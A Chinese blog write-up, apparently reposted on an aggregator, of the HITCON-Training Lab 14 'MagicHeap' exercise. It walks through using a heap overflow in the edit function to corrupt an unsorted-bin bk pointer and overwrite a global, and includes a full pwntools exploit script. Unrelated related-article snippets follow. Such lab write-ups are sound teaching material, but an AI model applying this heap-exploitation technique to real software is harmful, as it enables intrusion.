【HITCON-Training】Lab 14 - MagicHeap

news/2024/12/22 9:26:24/文章来源:https://www.cnblogs.com/muyiGin/p/18445656

学习于2024-10-03 12:50:42 星期四

心得感想:

分析

ida一打开就看到很明显的提示(毕竟是教学关卡):
image
那么我们需要将magic修改为一个大于0x1305的数,并且该程序没有开PIE,那么magic地址就是固定的。
Delete操作删的非常彻底,很明显这里没有任何可以利用的:
image
Create部分看起也没有任何问题。
接下来看edit部分:
image
虽然难一点的题我做不出来,但是这也太明显了(把人当傻子了,谁家edit还给你改一遍自定义大小的),不过HITCON这个本来就是training,我只是想看一些我没见过的隐蔽点的漏洞点...

思路

其实已经很明显了,存在堆溢出,那么我就可以修改下一个堆的任何内容。那我直接把unsorted bin里面的bk指针修改为magic-2的位置,那么在释放unsorted bin的时候,就会执行BK->fd=fd的操作,而BK->fd实际上就是+2指针字长(64位是0x8,即加上0x10),因为我们提前magic-2了,所以写入的位置就是magic。

过程

先查看要覆盖多少个字节(记得换个libc,没有tcache的那种)

image
看起来到bk是8个字长:
image
修改成这样吧:
image

再次调用启动unsorted分配即可成功

image

源码

点击查看代码
from pwn import *
#  sh=gdb.debug("./magicheap","break *0x400931")
sh=process("./magicheap")
context.log_level="DEBUG"
context.terminal=["tmux","new-window"]def dbg():gdb.attach(sh)pause()
def add(length,content="0"):sh.sendlineafter(":","1")sh.sendlineafter(":",str(length))sh.sendlineafter(":",content)
def edit(index,size,content):sh.sendlineafter(":","2")sh.sendlineafter(":",str(index))sh.sendlineafter(":",str(size))sh.sendlineafter(":",content)
def remove(index):sh.sendlineafter(":","3")sh.sendlineafter(":",str(index))add(0x20)
add(0x80)
add(0x20) #don't combinate with TOP chunk
remove(1)magic=0x6020c0
payload=b"a"*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)
edit(0,0x40,payload)
add(0x80)
sh.sendlineafter(":",str(4869))
sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/807419.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++ 额外的 string 操作

string 构造:▲ 《C++ Primer》 P321string 裁剪:▲ 322修改 string 的操作:▲ 《C++ Primer》 P323string 的搜索操作:▲ 《C++ Primer》 P325string 的 compare 函数:▲《C++ Primer》 P327

动静态库

静态库: 文件扩展名:.a 链接方式是在编译时候直接集成到可执行文件中。动态库 文件扩展名字:.so 链接方式是在运行时,根据符号表查找动态库的位置库文件:就是把多个“.o文件”打一个包,给对方提供一个库文件。 使用ar命令生成静态库 ar -rc libmymath.a add.o sub.o交付库…

C++ 顺序容器大小操作 resize

▲ 《C++ Primer》 P314▲ 《C++ Primer》 P318

WPS Office安卓版(WPS Office国际版) v18.13 解锁高级版

WPS Office for Android是一款功能强大的安卓手机办公软件。 软件功能 1.支持多种办公文档,包括Word、Excel和PowerPoint等。2.多种视图模式,支持纯文本、Web视图、页面视图、阅读视图等不同视图。3.支持多种文档操作,如文档的新建、编辑、保存、打印、分享、拍照OCR等。4.…

常用电脑软件

title: 常用电脑软件 date: 2024-06-15 18:14:53 tags: 我 categories: 一些项目 提前 (为什么写)居无定所与使用设备的变动 顺便介绍一下自己使用的软件工作环境软件(使用软件的配置) node.js(JavaScript环境)https://nodejs.org/git (分布式版本控制软件)https://git…

ubuntu18安装ros

一、环境配置 我的环境:Ubuntu18.04+melodic Ubuntu对应的ROS版本:二、安装步骤 1.添加ROS软件源 输入命令: $ sudo sh -c echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main" > /etc/apt/sources.list.d/ros-latest.list2.添加密钥 输入…

基于DPAPI+RDP技术实现本地打开远程程序,并映射到本地机器桌面上

本教程使用工具所使用的环境说明: 启动器开发工具:VS2022 启动器所用客户端技术:.NET 8 + WPF 启动器其他技术:DPAPI 启动器发布的可执行程序,系统要求:Windows 7以及以上,X64 如果需要本程序,可以在网盘获取。网盘地址:链接: https://pan.baidu.com/s/1QPstE5-1zPK-q…

wx推送

推送消息到wx基本代码 注意:import requests APPTOEKN = "AT_xxxxxxxxxxxxxxxxxxxxxxxxxx" UIDS = ["UID_xxxxxxxxxxxxxxxxxxxxx",]def send_message(msg,summary="test"):"""微信公众号推送发送消息:param msg: 要发送的内容:pa…

修改el-menu 样式

el-menu-item 修改el-menu项的高度 el-sub-menu 修改el-menu的下拉高度